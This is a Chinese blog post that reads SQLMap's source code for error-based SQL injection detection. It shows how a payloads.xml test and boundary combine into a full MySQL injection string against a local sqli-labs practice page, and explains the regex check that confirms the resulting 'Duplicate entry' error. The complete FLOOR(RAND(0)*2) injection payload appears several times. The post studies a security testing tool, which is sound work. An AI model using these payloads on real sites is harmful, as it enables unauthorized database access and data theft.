• Python:SQLMap源码精读—基于错误的盲注(error-based blind)


    目标网址

    http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1

    Payload的生成

     1 <test>
     2     <title>MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause</title>
     3     <stype>2</stype>
     4     <level>1</level>
     5     <risk>0</risk>
     6     <clause>1</clause>
     7     <where>1</where>
     8     <vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector>
     9     <request>
    10         <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
    11     </request>
    12     <response>
    13         <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
    14     </response>
    15     <details>
    16         <dbms>MySQL</dbms>
    17         <dbms_version>&gt;= 5.0</dbms_version>
    18     </details>
    19 </test>

    该test xml元素是从文件payloads.xml提取出来的。

    sqlmap会实现读取payloads.xml文件中的test元素,然后循环遍历,并生成相应的payload进行测试。

    以上面的test为例,当遍历到该test的时候,在其子循环当中,还需要依次遍历boundary元素(都在payloads.xml文件中),并找到一个匹配的boundary。

    何为匹配?

    注意上面的test元素的子节点:where=1 和 clause=1

    当且仅当某个boundary元素的where节点的值包含test元素的子节点,clause节点的值包含test元素的子节点的时候,该boundary才能和当前的test匹配,从而进一步生成payload。

    例如:

    1 <boundary>
    2     <level>1</level>
    3     <clause>1</clause>
    4     <where>1,2</where>
    5     <ptype>2</ptype>
    6     <prefix>'</prefix>
    7     <suffix>AND '[RANDSTR]'='[RANDSTR]</suffix>
    8 </boundary>

    该boundary元素中的where节点的值为1,2,含有test元素的where节点的值(1)

    并且,boundary元素中的clause节点的值为1,含有test元素的where节点的值(1)

    因此,该boundary和test元素可以匹配。

    test元素的payload的值为:

    AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

    最终的payload是根据test的payload子节点和boundary的prefix(前缀)、suffix(后缀)子节点的值组合而成的,即:

    最终的payload =  url参数 + boundary.prefix+test.payload+boundary.suffix

    将其中的[RANDNUM]、[DELIMITER_START]、[DELIMITER_STOP]替换掉之后

    则生成的payload类似如下:

    Payload: id=1' AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'pujM'='pujM

     其中:

    • URL参数:id=1
    • prefix:'
    • payload:AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    • suffix:AND 'pujM'='pujM

    最终生成的mysql语句为:

    SELECT
        *
    FROM
        users
    WHERE
        id = '1'
    AND (
        SELECT
            1497
        FROM
            (
                SELECT
                    COUNT(*),
                    CONCAT(
                        CHAR (58, 101, 121, 111, 58),
                        (
                            SELECT
                                (
                                    CASE
                                    WHEN (1497 = 1497) THEN
                                        1
                                    ELSE
                                        0
                                    END
                                )
                        ),
                        CHAR (58, 97, 98, 104, 58),
                        FLOOR(RAND(0) * 2)
                    ) x
                FROM
                    information_schema. TABLES
                GROUP BY
                    x
            ) a
    )
    AND 'pujM' = 'pujM'

    如果,url:http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入的话,那么执行的时候就会报如下错误:

    Duplicate entry ':eyo:1:abh:1' for key 'group_key'

    源码解释

     1 # In case of error-based SQL injection
     2 elif method == PAYLOAD.METHOD.GREP:
     3     # Perform the test's request and grep the response
     4     # body for the test's <grep> regular expression
     5     try:
     6         page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)
     7         output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) 
     8                 or extractRegexResult(check, listToStrValue(headers.headers 
     9                 if headers else None), re.DOTALL | re.IGNORECASE) 
    10                 or extractRegexResult(check, threadData.lastRedirectMsg[1] 
    11                 if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == 
    12                 threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
    13 
    14         if output:
    15             result = output == "1"
    16             if result:
    17                 infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
    18                 logger.info(infoMsg)
    19 
    20                 injectable = True
    21 
    22     except sqlmapConnectionException, msg:
    23         debugMsg  = "problem occured most likely because the "
    24         debugMsg += "server hasn't recovered as expected from the "
    25         debugMsg += "error-based payload used ('%s')" % msg
    26         logger.debug(debugMsg)

    将最终的payload传递给Request.queryPage函数执行并返回最终的执行结果page

    test元素的grep子节点的值是一个正则表达式:<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

    由前面的数据,我们知道

    [DELIMITER_START]=:eyo:

    [DELIMITER_STOP]  =:abh:

    最终生成的正则表达式为::eyo:(?P<result>.*?):abh:(每次生成都是不一样的,因为:eyo:和:abh:都是随机生成的)

    将page和正则表达式传递给函数extractRegexResult

     1 def extractRegexResult(regex, content, flags=0):
     2     """
     3     Returns 'result' group value from a possible match with regex on a given 
     4     content
     5     """
     6 
     7     retVal = None
     8 
     9     if regex and content and '?P<result>' in regex:
    10         match = getCompiledRegex(regex, flags).search(content)
    11 
    12         if match:
    13             retVal = match.group("result")
    14 
    15     return retVal

    函数功能较简单,主要使用正则表达式判断是否包含指定的数据,如果有,则返回匹配的数据,没有,则返回None。

    由前面的内容,可知,如果url可以注入的话,返回值retVal应该等于"1"

    if output:
        result = output == "1"
        if result:
            infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
            logger.info(infoMsg)
    
            injectable = True

    而使用正则::eyo:(?P<result>.*?):abh:来匹配Duplicate entry ':eyo:1:abh:1' for key 'group_key'的结果为:1

    故,url:http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入

    建议阅读

    关于Mysql注入过程中的五种报错方式及具体利用案例

    版权

    作       者:曾是土木人

    新浪微博:http://weibo.com/cstmr

    转载请注明出处:http://www.cnblogs.com/hongfei/p/sqlmap-error-based-blind.html

  • 相关阅读:
    一段c++程序
    一个简单的实现奇 偶判断的代码
    标签记忆法设想
    心算 进制转换 心得 =》 任意进制的数 转 任意进制的数
    PHP面试题
    commons-net使用FTP进行文件下载导致内容乱码的原因
    java中的各种锁机制
    HBase写入过快性能分析及调优
    Hbase Export与Import完成数据迁移
    Linux环境下Oracle19C使用数据泵impdp命令导入dmp文件
  • 原文地址:https://www.cnblogs.com/hongfei/p/sqlmap-error-based-blind.html
Copyright © 2020-2023  润新知